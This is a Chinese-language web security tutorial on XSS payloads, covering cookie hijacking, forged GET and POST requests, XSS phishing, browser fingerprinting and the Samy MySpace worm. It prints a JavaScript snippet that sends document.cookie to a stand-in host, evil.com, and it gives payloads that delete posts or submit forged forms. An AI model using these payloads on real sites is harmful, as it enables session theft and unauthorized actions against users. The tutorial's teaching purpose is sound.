Web安全之XSS攻击

初识XSS Payload

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为"XSS Payload"。
XSS Payload实际上就是JavaScript脚本(还可以是Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。

一个最常见的XSS Payload,就是通过读取浏览器对象,从而发起“Cookie劫持”攻击。

Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。也就是,你可以在不知道密码的情况下直接登录用户账户。

下面举个例子,攻击者先加载一个远程脚本:

http://www.a.com/test.html?abc=">

真正的XSS Payload写在这个脚本中,避免直接在URL参数中写入大量的JavaScript代码。
evil.js代码如下,它将document.cookie对象发送到了远端服务器

var img = document.createElement('img');
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

Cookie的"HttpOnly"标识可以防止“Cookie劫持”,我们将在稍后具体介绍。

强大的XSS Payload

"Cookie劫持"并非所有的时候都会有效。有的网站可能会在Set-Cookie时给关键Cookie植入HttpOnly标识;有的网站可能会把Cookie与客户端IP绑定。尽管如此,攻击者还是有很多方式能够控制用户的浏览器。

构造GET和POST请求

假设有篇博客所在域的某页面存在XSS漏洞,正常删除文章的链接是:

http://blog.com/article?m=delete&id=123

那么攻击者只需要知道文章的id,皆可以通过这个请求删除这篇文章了。

var img = document.createElement('img');
img.src = 'http://blog.com/article?m=delete&id=123';
document.body.appendChild(img);

攻击者只需要让博客作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。

对于POST请求,可以这样实现
第一个种方法

var f = document.createElement('form');
f.action = "";
f.method = "post";
document.body.appendChild(f);

var i1 = document.createElement('input');
i1.name = 'name';
i1.value = 'value';
f.appendChild(i1);

f.submit();

如果参数很多,通过构造DOM节点的方式,代码将十分冗长。可以通过innerHTML直接写html字符串的方式构造。

第二种方法可以使用XMLHttpRequest直接发送一个POST请求。

XSS钓鱼

前面介绍的,XSS的攻击过程都是在浏览器中通过JavaScript脚本自动进行的,也就是说,缺少“与用户交互”的过程。

比如之前“通过POST表单发消息”的例子,如果要求用户输入验证码,那么一般的XSS Payload都会失效。此外,在大多数“修改用户密码”的功能中,都会要求用户输入原密码,而攻击者往往是不知道的。

但这也不能限制住XSS。

对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远端服务器——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload。

修改密码的问题稍微复杂点,攻击者可以将XSS与“钓鱼”相结合。利用JavaScript实现一个伪造的登录框,当用户输入用户名和密码后,将密码发送至黑客的服务上。

识别用户浏览器

攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如知道用户使用的浏览器、操作系统,就有可能实施一次精准的浏览器内存攻击,最后给用户电脑植入一个木马。

比如使用XSS读取浏览器的UserAgent对象

alert(navigator.userAgent);

但是这个对象是可以伪造的,所以信息不一定准确。

可以有另外一种技巧,来更准确地识别用户的浏览器版本

由于浏览器之间的实现存在差异,同一个浏览器不同版本之前可能也有细微的差别。通过判断这些差异,就能准确的识别出浏览器版本。
比如:

if (window.ActiveXObject) // MSIE 6.0 or below

识别用户安装的软件

在IE中,可以通过判断ActiveX控件的classid是否存在,来判断用户是否安装了该软件,选择对应的浏览器漏洞,最终达到植入木马的目的。

一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。

浏览器的扩展和插件也能被XSS Payload扫描出来。比如Firefox的插件(Plugin)列表存放在一个DOM对象中,通过查询DOM可以遍历所有的插件。

CSS History Hack

我们再看一个有趣的XSS Payload,通过CSS来发现一个用户曾经访问过的网站。其原理利用的是style的visited属性。如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。

获取用户的真实IP地址

很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在NAT后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?

JavaScript本身并没有提供获取本地IP地址的能力,XSS攻击需要借助第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。

除了Java之外,一些ActiveX控件可能也会提供接口查询本地IP地址。这些功能比较特殊,需要具体情况具体分析。

XSS攻击平台

有安全研究者将许多功能封装起来,称为XSS攻击平台。这些平台主要是为了演示XSS的危害,以及方便渗透测试使用。

终极武器:XSS Worm

XSS也能形成蠕虫

Samy Worm

在2005年有年仅19岁的Samy Kamkar对MySpace.com发起的,这是Web安全史上第一个重量级的XSS Worm。

首先,Myspace网站过滤掉了很多危险的标签,所有的事件如”onclick“等也被过滤了。但是它允许用户控制标签的style属性,通过style还是有办法构造出XSS的

其次,Myspace同时还过滤了‘javasript’、‘onreadystatechange’等敏感词,所以Samy用了”拆分法“绕过这些限制。

最后,Samy通过AJAX构造的POST请求,完成了在用户的heros列表里添加自己名字的功能:同时复制蠕虫自身进行传播。

XSS Worm是XSS的一种终极利用方式,它的破坏力和影响力是巨大的。但是发起它是有一定条件的。

一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSS Worm攻击。

比如,发送站内信、用户留言等页面,都是XSS Worm的高发区。

你可能感兴趣的